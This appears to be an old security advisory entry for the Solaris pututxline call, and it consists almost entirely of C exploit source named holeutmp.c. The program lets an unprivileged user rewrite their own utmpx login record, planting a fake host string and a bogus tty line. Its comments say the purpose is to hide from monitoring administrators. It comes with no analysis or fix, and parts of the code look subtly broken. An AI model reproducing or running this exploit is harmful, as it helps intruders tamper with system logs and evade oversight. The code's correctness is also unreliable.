COMMAND
pututxline
SYSTEMS AFFECTED
Solaris
PROBLEM
---------------------------------------------------------------------------
/*
* utmprm (version 1.0)
* renamed to holeutmp.c (version 1.0)
*
* Copyright, 1994, 1995 by Scott Chasin (chasin@crimelab.com)
* Modified by Hendrik Visage (hendrik@jupiter.cs.up.ac.za)
to exploit a pututxline SETGID problem
*
* This material is copyrighted by Scott Chasin, 1994, 1995. The
* usual standard disclaimer applies, especially the fact that the
* author is not liable for any damages caused by direct or indirect
* use of the information or functionality provided by this program.
*/
/* utmprm takes advantage of a Solaris 2.x utmpx system call that
* allows any user to remove themselves from the corresponding
* utmp files and partly out of the eyes of monitoring admins.
*/
#include <stdio.h>
#include <pwd.h>
#include <utmpx.h>
char *strchr(), *strdup(), *ttyname(), *getlogin();
main (argc, argv)
int argc;
char **argv;
{
uid_t ruid, getuid();
char *ttyn, *tty, *username;
struct passwd *pwd;
/* Grab our ttyname */
ttyn = ttyname(0);
if (ttyn == NULL || *ttyn == '\0')
{
fprintf (stderr, "utmprm: where are you?\n");
exit (1);
}
if (tty = strchr (ttyn + 1, '/'))
++tty;
else
tty = ttyn;
/* Grab our login name */
ruid = getuid ();
username = getlogin ();
if (username == NULL || (pwd = getpwnam (username)) == NULL ||
pwd->pw_uid != ruid)
pwd = getpwuid (ruid);
if (pwd == NULL)
{
fprintf (stderr, "utmprm: who are you?\n");
exit (1);
}
username = strdup (pwd->pw_name);
utmpx_delete (username, tty);
}
utmpx_delete (user, line)
char *user;
char *line;
{
struct utmpx utx;
struct utmpx *ut;
/* Let's build a utmpx structure that looks like
* our entries profile.
*/
strncpy (utx.ut_line, line, sizeof (utx.ut_line));
strncpy (utx.ut_user, user, sizeof (utx.ut_user));
/* We use getutxline to search /var/adm/utmpx for our
* entry.
*/
if ((ut = getutxline (&utx)) == 0)
printf ("utmprm: entry not found for %s (%s)\n", user, line);
else {
/* Since we doesn't want to remove the entry,
all the DEAD_PROCESS related stuff
isn't needed
ut->ut_type = DEAD_PROCESS;
ut->ut_exit.e_termination = 0;
ut->ut_exit.e_exit = 0;
*/
gettimeofday (&(ut->ut_tv), 0);
ut->ut_type = USER_PROCESS;
strcpy(&(ut->ut_host),"Probleme.SA");
ut->ut_syslen=strlen(ut->ut_host);
strcpy(&(ut->ut_line),"|");
/* Using pututxline as a normal user, we take advantage
* of the fact that it calls a setuid system call to
* modify the utmpx entry we just build. The only check
* that pututxline has is that the login name in the utmpx
* entry must match that of the caller's and that the
* utmpx device entry is a real device writable by the
* caller.
*/
pututxline (ut);
printf ("utmprm: %s (%s) modified with exit code %d.\n", user, line,pututxline (ut));
}
endutxent ();
}
---------------------------------------------------------------------------